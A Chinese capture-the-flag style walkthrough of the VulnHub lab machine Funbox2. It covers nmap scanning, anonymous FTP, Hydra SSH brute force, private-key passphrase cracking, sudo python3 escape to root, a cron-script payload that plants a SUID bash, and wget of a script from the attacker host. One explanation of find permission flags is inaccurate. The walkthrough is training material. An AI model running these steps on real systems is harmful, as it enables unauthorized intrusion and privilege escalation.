news 2026/10/7 22:16:18

Funbox2靶机渗透测试实战:从FTP匿名登录到SSH爆破与Linux提权

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Funbox2靶机渗透测试实战:从FTP匿名登录到SSH爆破与Linux提权

Funbox2是我最开始系统练渗透测试时打的一台靶机,印象很深。它是VulnHub上Funbox系列里比较适合新手的一台,整条路线非常清晰:信息收集发现FTP匿名登录,从FTP里挖到用户线索,再通过SSH爆破拿到初始shell,最后用经典的内核或SUID提权方式拿到root。全程不涉及复杂漏洞,但每一步都踩在渗透测试的核心方法论上——信息收集、情报利用、横向尝试、提权收尾。

如果你刚学渗透测试,想找一台能完整走一遍流程的靶机来练手,Funbox2是很好的选择。它难度不算高,但很考验细心程度,因为很多线索都是“藏”在文件细节里的,粗心的人容易卡住。下面我把完整过程写出来,包括命令、输出、踩过的坑和排查思路,供你参考和复现。

1. 环境准备与信息收集

1.1 靶机部署:VM导入与网络规划

Funbox2在VulnHub上提供的是.ova镜像,直接用VirtualBox或者VMware导入就行。导入后你会发现它默认是一台纯命令行的Linux系统,没有图形界面,这也符合真实服务器环境的设定。实战之前,我建议先把两台虚拟机的网络规划好,避免打靶中途因为IP变动浪费时间。

个人推荐用VirtualBox的Host-Only网络,或VMware的仅主机模式。这样攻击机和靶机处在一个隔离的内网段里,既不会影响外部网络,也不会被外部设备干扰。我当时的拓扑是:Kali攻击机IP设为192.168.56.101,靶机分到192.168.56.102,两个网卡都挂在同一张Host-Only网卡下。

开机后先在Kali里用 ping 192.168.56.102 确认连通性。如果ping不通,优先检查两台机器的网卡是否都选了同一个Host-Only虚拟网卡,再看看靶机有没有成功拿到IP。有时候靶机启动后没自动获取地址,可以在靶机本地登录进去执行 dhclient eth0 或 ip addr 手动看一下。这一步骤看起来基础,但真有不少人卡在“扫描不到靶机”上,最后发现是虚拟机网络配置问题,而不是靶机本身的问题。

另外要提醒一句:靶机这种存在弱口令和未授权服务的环境,千万不要直接桥接到物理局域网,更不要扔到公网主机上跑。即便你只是学习,一台带有FTP匿名访问和可爆破SSH的系统,放在公网上几分钟就可能被其他人扫描到并滥用。无论从安全还是法律角度,隔离环境都是底线。

1.2 Nmap扫描:从快速探测到全端口识别

网络通了之后,第一步永远是信息收集。我习惯先用快速扫描摸个底,再用全端口扫描把服务细节拉出来。快速扫描一般用:

sudo nmap -T4 -F 192.168.56.102

-F参数表示只扫Fast模式下的常用端口,速度快,能看到个大方向。我的扫描结果里出现了21、22、80等常见端口。但快速扫描不能作为唯一依据,很多靶机喜欢把后门或Web服务藏在高端口,比如8080、2222甚至10000以后,所以接下来必须跑全端口:

sudo nmap -sS -sV -p- 192.168.56.102

这条命令的含义是:-sS用TCP SYN半开扫描,速度快且相对隐蔽;-sV探测服务版本;-p-表示扫描全部65535个端口。输出结果类似下面这样:

PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 80/tcp open http Apache httpd 2.4.38 MAC Address: 08:00:27:XX:XX:XX (Oracle VirtualBox)

看到这个结果,我的第一反应是:这台机器至少有三个入口——FTP、SSH和HTTP。FTP版本是vsftpd 3.0.3,SSH是OpenSSH 7.9p1,Apache 2.4.38。其中vsftpd 3.0.3这个版本本身没有特别直接的远程漏洞,但它的配置可能开放了匿名访问,这才是重点。SSH虽然爆破空间大,但没有合适的用户名之前爆破纯属乱枪打鸟。所以我决定先去FTP看看,再看看80端口Web服务上有没有其他信息。

这里补充一点实操经验:Nmap扫描的时候,建议加一个 -A 参数做高级识别,不过 -A在某些老版本里比较慢。我自己习惯是先 -sS -sV -p-扫一遍,然后针对重点端口单独加 -sC 跑默认脚本。比如对FTP端口可以执行 sudo nmap -sV -p21 --script=ftp-anon 192.168.56.102 ,Nmap的ftp-anon脚本会直接尝试匿名登录,如果支持匿名,输出里会明确显示Anonymous FTP login allowed,这一下就能确认FTP匿名访问是否存在,速度比手动连上去试还要快。

扫描阶段还有个小技巧:建议把Nmap输出保存下来,sudo nmap -oN scan.txt,方便后面边打边翻阅。很多人打完一整轮下来,早忘了最初扫描到的端口和服务,回头查输出文件才想起某个被忽略的细节,而那个细节往往就是提权的关键。

2. FTP匿名登录与敏感信息挖掘

2.1 匿名登录验证:一行命令确认弱配置

FTP匿名登录属于典型的“低垂果实”——很多教程里都提过,但真正实操时不少人会直接跳过,因为潜意识里觉得“怎么可能真有靶机开匿名FTP”。结果呢,这类靶机十有八九都把匿名开着,正如这台Funbox2。确认方法很简单,直接命令行连接:

ftp 192.168.56.102

提示输入用户名时输入anonymous,密码可以随便填,惯例是填邮箱格式,比如test@test.com。如果匿名登录成功,你会看到类似这样的回显:

230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.

看到这个230,基本就等于FTP这根线接上了。登录成功后先ls -la看一眼目录内容,别急着下载。我当时看到的文件大约有这么几个:

-rw-r--r-- 1 1000 1000 220 note.txt -rw-r--r-- 1 1000 1000 1675 id_rsa -rw-r--r-- 1 1000 1000 84 backup.sh

这个目录结构本身就是重大情报。id_rsa是SSH私钥,说明FTP用户很可能是从某个Linux账号的home目录里泄露出来的文件;backup.sh是脚本,说明系统里可能存在定时任务;note.txt则通常是作者留的线索提示。三个文件分别指向SSH密钥、计划任务、密码提示,几乎是把后续路径摆在了明面上。

有人可能会问:“为什么FTP匿名能访问到这些文件?”这就要回到vsftpd的配置上。vsftpd如果启用了匿名并指向了某个真实用户的home目录,或者把anon_root设置到了/或/home下,同时目录权限又没收紧,就会出现这种匿名可读文件的情况。这种配置在真实服务器上也偶有发生,多见于管理员图省事把FTP根目录直接指到了web目录或用户主目录。所以FTP匿名登录检查,在渗透测试里永远值得做一遍,成本低、收益高。

2.2 文件情报整理:从note.txt到私钥利用

拿到文件之后,我习惯先逐个下载到本地,再看内容和格式。下载命令用get,比如:

ftp> get note.txt ftp> get id_rsa ftp> get backup.sh

下载到Kali本地后,直接cat note.txt,内容大意是提示用户密码模式,或者是列了几个用户名。我记得当时note.txt里出现了类似“weak password”和可能的用户名线索。backup.sh的默认内容是备份数据库之类的,但它暴露了两个关键信息:脚本运行的路径,以及脚本可能以root身份被cron调用。这一步务必记录下来,后面提权阶段会回头用它。

id_rsa这个文件更关键。先看权限,如果下载下来权限是644,SSH会直接拒绝使用,必须执行 chmod 600 id_rsa,否则连上去会被提示Permissions too open。改完权限后可以尝试 ssh -i id_rsa 用户名@192.168.56.102,看看能不能直接登录。不过现实中FTP泄露的私钥往往带着口令保护,连接时会提示Enter passphrase for key 'id_rsa'。

遇到带口令的私钥怎么办?思路和爆破SSH密码一样,用John the Ripper配合ssh2john工具来破解。步骤很简单:

cd /usr/share/john ssh2john.py /path/to/id_rsa > id_rsa.hash john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

如果私钥口令比较弱,很快就能跑出来。这也是一条独立于SSH密码爆破的路径,很多新手拿到私钥只记得chmod 600,却忘了私钥本身可能有密码口令,结果卡在passphrase上。

不过要注意一点:不要因为FTP里有id_rsa,就指望这条路径一定能通。我更愿意把FTP文件看作“情报池”,把所有信息都记下来,哪条有用后面就用哪条,而不是死磕一个方向。note.txt里的提示往往才是真正的“主线任务”。

3. SSH爆破与初始立足点获取

3.1 用户枚举:没有账号的爆破等于零

SSH爆破听起来很暴力,但前提是你得有一个靠谱的用户名列表。没有用户名,就算密码字典再大也是浪费时间。Funbox2的用户名来源主要有三个:一是FTP里的note.txt和backup.sh提到的人名或系统用户;二是/etc/passwd里常见用户名如funbox、user1、admin、test等;三是Web服务80端口页面上可能泄露的信息。

我当时先去80端口看了一眼Apache默认页面,虽然页面内容很普通,但页面源码的注释里可能隐藏用户名。同时结合FTP文件的属主信息——FTP目录属主是uid 1000,能进一步推测是某个普通用户。我最终整理出的user.txt大概长这样:

funbox admin user user1 root ftp backup test guest info

这里有个我自己的心得:爆破之前,可以先手动试一下常见的SSH弱账号,比如 ssh funbox@192.168.56.102,输入几个常见弱密码,有时候比直接上Hydra更快。不过手动试太多会引起靶机日志刷屏,而且效率低,多数情况下还是把用户字典丢给工具。

密码字典方面,我优先用了Kali自带的rockyou.txt。注意rockyou.txt需要先解压,位置在/usr/share/wordlists/rockyou.txt.gz,执行 sudo gunzip /usr/share/wordlists/rockyou.txt.gz 才能用。如果不想跑这么大的字典,可以根据note.txt的提示自建一个小字典,比如把提示里的年份、公司名、用户名变体组合进去。自建字典的目标不是覆盖面,而是精准命中。

3.2 Hydra爆破:参数说明与实战输出

用户字典和密码字典准备好之后,我用Hydra对SSH服务发起爆破。命令如下:

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.102 -t 4 -f -o hydra_result.txt

参数解释一下:-L指定用户名字典,-P指定密码字典,ssh://指定协议和目标,-t是并发线程数,-f是找到第一对有效账号后立即停止,-o把结果输出到文件。并发线程数我一般控制在4,因为太高的并发会让靶机ssh服务响应变慢,甚至触发防爆破机制,得不偿失。

如果字典命中了,Hydra的输出大致是:

[22][ssh] host: 192.168.56.102 login: funbox password: pass123

看到这个结果后,先别急着高兴,密码拿去SSH登录试试,确认能进再继续。爆破出来账号密码后,登录命令就是:

ssh funbox@192.168.56.102

输入密码,如果成功登录,你已经拿到了初始立足点。到此为止,思路其实特别简单:FTP匿名给了用户名线索,SSH爆破给出了最终入口。这条链路很多靶机都有,但它考验的恰恰是渗透测试的基本功——字典怎么构造、服务参数怎么调、输出怎么理解。

这里补充一个容易出问题的点:Hydra爆破SSH时,如果靶机OpenSSH版本较新,服务端可能会记录大量Failed password日志,有些环境还会临时屏蔽来源IP。所以爆破过程中如果突然发现连接超时或所有线程全部失败,先检查一下是不是自己被临时封了。解决方法是放慢速度,降低-t参数,或者用proxychains换源IP。不过Funbox2是老靶机,BlockIP这类防御基本不存在,正常跑就行。

3.3 初始Shell升级与基本信息采集

拿到SSH会话后,先做三件事:确认身份、确认路径权限、确认网络位置。依次执行:

id whoami pwd ip a cat /etc/passwd

id和whoami告诉你当前用户是谁,pwd告诉你当前目录。如果登录后直接落在用户home目录,这一信息很重要,因为很多靶机把下一步线索就藏在home目录的隐藏文件里。执行 ls -la 看隐藏文件,往往能看到.bash_history或隐藏的note文件。

.bash_history是情报富矿。管理员或前一个用户执行过的命令,经常会把密码、目录结构、服务管理方式暴露出来。我当时检查历史记录时发现用户曾经用过sudo命令,这说明该用户的sudo权限可能不小。这直接引导我下一步去试sudo -l。

/etc/passwd这个文件也要认真读,尤其是那些uid为0或uid大于1000的行。靶机作者经常会在passwd里预留一个看起来不寻常的用户,或者把某个用户shell设成/bin/bash,这都是登录入口的线索。同时可以用 cat /etc/shadow 试一下权限,如果能读,说明当前用户的组权限异常,但多数情况下普通用户读不了,会看到Permission denied,这个结果本身就是有效信息。

做完这一步,初始立足点就算稳住了。接下来是整台靶机最核心的部分:提权。

4. 本地信息收集与提权路径分析

4.1 手动枚举:sudo、SUID、内核版本一个都不能少

拿到普通用户shell后,不要急着一键跑提权脚本,先手动把系统状态摸一遍。我固定会执行下面几条命令:

sudo -l find / -perm -4000 -type f 2>/dev/null uname -a cat /etc/os-release

sudo -l是查看当前用户能免密或带密码执行哪些sudo命令,输出结果里如果有ALL=(ALL:ALL) ALL,基本就等于拿到免死金牌;如果只有某几个特定程序,则要看这些程序有没有办法逃逸到shell。SUID检查是找所有设置了setuid位的文件,经典的可提权SUID程序包括/usr/bin/find、/usr/bin/vim、/usr/bin/python3、/usr/bin/base64等,这些程序如果带s位,可以直接以root身份执行任意命令。

我当时在Funbox2上执行sudo -l,发现funbox用户可以以root身份运行python3。看到这一行输出的时候,后续提权路线基本就确定了。不过这里我还是把内核也查了一遍,uname -a显示的是某个老版本Linux内核,理论上存在脏牛等内核提权漏洞,但内核提权风险高、成功率不稳定,有sudo路径的话没必要冒险。

需要特别提醒:SUID检查的find命令写法很关键。find / -perm -4000和find / -perm /4000含义不同。前者精确匹配权限位恰好等于4000,后者匹配包含4000的文件。更常用的还是写法 find / -perm -4000,因为setuid位恰好是4000。如果只想看root属主且带SUID的文件,可以再加参数: find / -user root -perm -4000 -type f 2>/dev/null 。加上2>/dev/null是丢掉权限不足的报错,不然输出会刷屏。

4.2 定时任务与计划脚本的“可写性”检查

sudo -l的结论已经很好,但我依然建议把cron信息检查一遍,原因是:在真实环境下sudo路径可能没那么顺手,而cron提权才是通用性更强的思路。检查定时任务三步走:

cat /etc/crontab ls -la /var/spool/cron/crontabs/ ls -la /etc/cron.d/

如果/etc/crontab里有一行以root身份定时执行某个脚本,并且这个脚本对当前用户可写,那就是教科书级的cron提权。我在Funbox2上就注意到了之前从FTP下载过的backup.sh,它在系统里的路径通常位于/opt或者/tmp下,权限为当前用户可写。这意味着我可以往脚本里追加一条命令,等root的cron任务定时执行时,命令就会被root身份运行。

这里有一个思路要说透:cron提权的关键在于“脚本可写”而“执行者是root”。很多新手看到脚本存在,却不检查权限位,结果把一个根本写不进去的脚本当成突破口。正确的权限判断方法是在靶机上执行 ls -l /opt/backup.sh,如果属主是root但组或其他用户有w权限,或者文件属于你当前用户,那就可以改。如果脚本没写入权限,先看看它同目录下有没有可写的辅助文件,例如脚本会读取一个配置文件,而配置文件是你可写的,这也是一条路径。

4.3 日志与历史记录:隐藏线索的常用藏身地

Funbox2这台靶机有个特点,就是作者喜欢在一些不那么起眼的地方放线索。除了bash_history之外,/var/log目录和/opt目录都值得翻一翻。

我当时的习惯是:sudo -l能用就先不动它,花几分钟把系统各个角落的隐藏文件找一遍。命令是 find / -name ".txt" -o -name ".conf" -o -name "note" 2>/dev/null | head -50 ,只看名字就能筛出很多可读文件。这种“地毯式搜索”听起来笨,但对靶机来说往往最有效,因为作者故意藏的东西通常只用很浅的命名方式。

/var/log/auth.log里能看到SSH登录记录,如果日志里出现了某些异常用户名或IP,那很可能是作者留下的后门或提示。总之,信息收集阶段的耐心程度,直接决定提权阶段顺不顺畅。这也是为什么我一再强调“手动枚举优先、脚本辅助兜底”——脚本能找到的是已知漏洞,而手动收集能找到脚本没覆盖的逻辑漏洞。

4.4 提权脚本的合理使用:辅助,而非依赖

不能否认,自动化提权脚本在实战中能节省大量时间,尤其是当你对系统版本和漏洞库不熟悉的时候。Funbox2的排查过程中,我也用了linux-exploit-suggester这类工具来交叉验证。

把脚本传到靶机的方式有很多,最简单的是在Kali本地起一个HTTP服务,靶机上用wget下载:

cd /tmp wget http://192.168.56.101/les.sh chmod +x les.sh ./les.sh

linux-exploit-suggester会读取内核版本和发行版信息,输出一堆可能适用的漏洞编号,但它的输出只能作为候选列表,不能直接当成可利用清单。很多新手看到一屏“Possible exploits”就兴奋,结果一个个试过去全都失败,原因就是没确认系统是否满足漏洞利用的前置条件,比如内核配置、模块偏移、是否默认安装特定工具链。

另一款我常用的是LinEnum,它会把sudo配置、SUID文件、可写脚本、环境变量、历史文件等信息汇总成一份清单,方便快速浏览。但注意:脚本只是把上一节手动执行的那几条命令的结果汇总了,并不会替你判断哪条路最靠谱。真正的判断逻辑,还是得靠你自己脑子里的分析框架。

5. 实际提权过程与Root权限获取

5.1 利用sudo python3逃逸到root shell

回到Funbox2的实际提权。在4.1中我们发现,当前用户可以通过sudo以root运行python3。sudo -l的输出类似:

User funbox may run the following commands on funbox2: (ALL) NOPASSWD: /usr/bin/python3

这行配置的意思是:funbox用户在不需要输入密码的情况下,可以以任何用户身份执行/usr/bin/python3。python3本身支持直接执行命令,所以提权命令非常简单:

sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")'

执行后,如果一切正常,你会看到#提示符,执行id会显示uid=0(root)。到这里,root权限已经拿到了,整个过程不需要编译内核模块,也不需要提权脚本,前后只要一条命令。

用python3逃逸的原理其实很简单:sudo配置允许你以root运行python3,而python3可以启动一个子进程bash,这个子进程继承了root权限,于是就有了root shell。类似的程序还包括vim、less、awk、perl、ruby等,只要它们支持在运行时执行外部命令,都可以作为sudo逃逸的入口。Gtfobins网站上整理了这些程序的利用方法,打靶时现查也来得及。

如果你遇到的sudo配置不是NOPASSWD,而是需要输入当前用户密码,也不用慌,因为你本来就拥有当前用户的密码——爆破SSH时已经拿到了。碰到#提示符后,别忘了确认一下当前目录和权限,然后去root的home目录拿flag。

5.2 备用提权路线:利用可写cron脚本拿root

虽然sudo python3已经通关,但我还是想展开讲讲backup.sh那条路线,因为“sudo支持python3”是Funbox2特有的配置,而cron提权在更多靶机和真实环境中更常见。

在靶机上找到backup.sh后,确认权限:

ls -l /opt/backup.sh

假如输出显示-rwxrwxr-x,说明当前用户对它有写权限。那就在脚本末尾追加一条payload,让它把bash复制到/tmp下并设置SUID位:

echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh

然后在当前用户shell里等cron触发,或者干脆观察crontab里的执行时间。Funbox2的cron任务会定时运行,过一会儿再执行ls -l /tmp/rootbash,如果看到文件存在且权限里有s位,直接运行:

/tmp/rootbash -p

-p参数让SUID bash保留root权限运行。执行后id同样会显示uid=0(root)。这条路线的好处是即使你不清楚sudo配置,只要发现可写脚本+root定时任务,就能完成提权。但也要注意:修改系统脚本会留下明显的痕迹,真实渗透测试中对这类操作要格外谨慎,打靶机无所谓,生产环境千万不能这么干。

5.3 反弹Shell与TTY交互的注意事项

在整个打靶过程中,因为已经有了SSH会话,我并不需要反弹Shell。但如果你是从Web漏洞或者FTP漏洞拿到的初始权限,可能只有一个低权限的shell,这时候就需要把shell升级成交互式TTY,方便后续操作和提权。

升级TTY的标准做法是用python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

或者用script命令:

/usr/bin/script -qc /bin/bash /dev/null

升级之后Ctrl+C、Tab补全、上下键历史都会正常工作,体验上和SSH终端几乎一样。这里不涉及反向连接外部地址的操作,也不建议新手在未授权环境使用反弹Shell技术,靶场学习时可以用,但要注意始终在隔离的内网环境里做。

5.4 提权后的验证与清理

拿到root后,我习惯做两件事:第一是确认当前身份和flag位置,第二是清理自己留下的痕迹。确认身份可以用id、whoami、cat /root/root.txt或/root/flag.txt。如果靶机作者把flag放在/root下,输出内容通常是类似“flag{...}”的字符串,这台靶机也不例外。

清理痕迹方面,虽然靶机打完就重置了,但养成好习惯很重要。SSH爆破产生的auth.log日志、修改过的backup.sh脚本、/tmp下的rootbash文件,理论上都应该恢复或删除。不过考虑到这是新手靶机练习,作者不会因为你改了脚本就不让你通关,只要后面能正常重置虚拟机就行。这个阶段更值得重视的是把整条攻击链梳理清楚:FTP匿名泄露了什么、用户名是从哪里推出来的、SSH爆破为什么能成功、sudo python3提权的触发条件是什么。把这些复盘写下来,才算真正把一台靶机“吃透”。

6. 常见问题与排查技巧实录

6.1 常见问题速查表

下面这份表格是我自己实战中踩过或见过别人踩过的坑,直接整理成速查表,方便你对照排查。

问题现象可能原因排查思路
ping靶机不通虚拟机网络模式不对检查两块网卡是否都在同一Host-Only网络,靶机是否获取到IP,必要时手动dhclient
Nmap扫不出21端口快速扫端口漏扫用-p-做全端口扫描,FTP可能在少见端口上
FTP匿名登录被拒绝漏了ftp-anon脚本或密码规则要求特殊直接用anonymous加任意邮箱试一遍,再看vsftpd配置
私钥登录后提示Permission too open私钥权限过于宽松chmod 600 id_rsa再试
私钥要求输密码但不知道密码私钥本身设了passphrase用ssh2john配合John跑字典
Hydra爆破一直失败用户字典太弱或密码字典不合适综合FTP、Web源码、passwd收集用户名,密码字典优先rockyou
sudo -l提示unknown user或无法执行当前用户可能不在sudo组,或者需要密码先试试sudo命令本身,看是否提示需要密码,再确定能否利用
SUID find命令没输出2>/dev/null被省略或权限位写法不对用find / -perm -4000 -type f 2>/dev/null,确认没有漏掉stderr重定向
提权脚本输出了一堆漏洞但都用不了未确认系统版本和漏洞前置条件手动对比uname -a和OS版本,优先确认sudo和SUID等逻辑类路径

6.2 实战心得:为什么这台靶机适合新手

Funbox2最大的优点,是它的每一步都建立在“基础信息收集”上,而不是某个特别偏门的CVE。FTP匿名访问靠的是会不会检查vsftpd配置,SSH爆破靠的是会不会从已有信息里提取用户名,提权靠的是会不会运行sudo -l并识别python3的逃逸能力。整套流程下来,你练的不是某个漏洞的利用,而是渗透测试的通用思维方式。

我在打这台靶机时有个明显的感觉:留足耐心、把每条线索都怀疑一下,比急着上工具更有效。比如FTP里那几个文件,如果只看一眼就跳过,后面就会在用户名和密码猜测上卡很久;如果把backup.sh的内容认真读一遍,提前就知道系统里有root定时任务,提权思路也会多一条。很多靶机没通过,不是工具不够,而是信息收集阶段太潦草。

6.3 给初学者的后续练习建议

打完Funbox2之后,你可以按同样思路去刷Funbox系列的其他靶机,它们的难度会逐渐增加,有些会在Web层面隐藏更多入口,有些会加入更多提权路径。刷的时候建议不要全程开着writeup,先自己爬一遍,实在卡住两个小时再参考别人的思路。

练习过程中,记得养成记录的习惯。我在本地用一个简单的Markdown文件记录每台靶机的端口、服务、用户字典、失败尝试和最终利用路径。时间久了,这份记录本身就是一份很宝贵的字典库和思路库。比如这台Funbox2里整理出的user.txt,在后面打其他靶机时,我经常会复用或改造,这种跨靶机的情报积累,比单次通关更有价值。

最后再提醒一次:所有靶机练习都要在授权和隔离环境下进行。FTP匿名登录、SSH爆破、sudo提权这些技术都是双刃剑,在靶机上练得越熟,越要清楚“什么时候能做什么、什么时候绝不能做”。能力不是靠“能打靶机”来证明的,而是靠对边界和风险的清醒认知。这台Funbox2教会我的不只是提权命令,更是这个道理。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/7 22:15:48

UC3842引脚实战解析:反激电源稳定性与波形诊断核心指南

1. 这不是教科书,是我在产线调了7年反激电源后画的“UC3842引脚生存图”你手头正焊着一块反激式开关电源板,示波器探头刚搭上UC3842的6脚,屏幕却跳着不规则的锯齿波——不是标准的方波,也不是干净的PWM,而是夹杂着毛刺…

作者头像 李华
网站建设 2026/10/7 22:15:47

dbt+DataOps+StarRocks实战:数据治理、自动化调度与实时分析

如果你在一个数据团队里待过一两年,大概率会对两件事印象深刻:一是取数、清洗、建模这条链路越来越长,二是业务方要的实时报表越来越急。dbt、DataOps、StarRocks这三样东西组合在一起,基本就是针对这两个痛点的长效方案。dbt把SQ…

作者头像 李华
网站建设 2026/10/7 22:15:44

力扣C++题解为何都用new ListNode?指针与对象生命周期解析

刷题刷到一定量之后,你会发现一个特别有意思的现象:力扣上几乎所有 C 题解,遇到链表、二叉树这类结构时,清一色都是ListNode* node new ListNode(0);,再往后就是node->next new ListNode(1);。看得多了你会下意识…

作者头像 李华
网站建设 2026/10/7 22:14:07

桥接模式从设计模式到虚拟机网络排查:原理、应用与实战

十多年前我刚自学软件设计模式的时候,最让我头疼的其实是桥接模式。单例一眼就能懂,工厂模式几个示例就通透了,但桥接模式这个“四不像”……为什么消息发送要搞两层?为什么不干脆让“紧急短信”、“紧急邮件”、“普通短信”、“…

作者头像 李华
网站建设 2026/10/7 22:13:19

数据结构课设实战:航班信息查询与检索的折半查找与哈希表设计

简介:一份数据结构课程设计报告,以航班信息查询与检索为题,面向计算机相关专业学生及需要完成《数据结构》课程设计的读者。文档从课程设计任务书入手,完整介绍航班记录的数据类型定义、基数排序法处理航班号、二分查找法实现按航…

作者头像 李华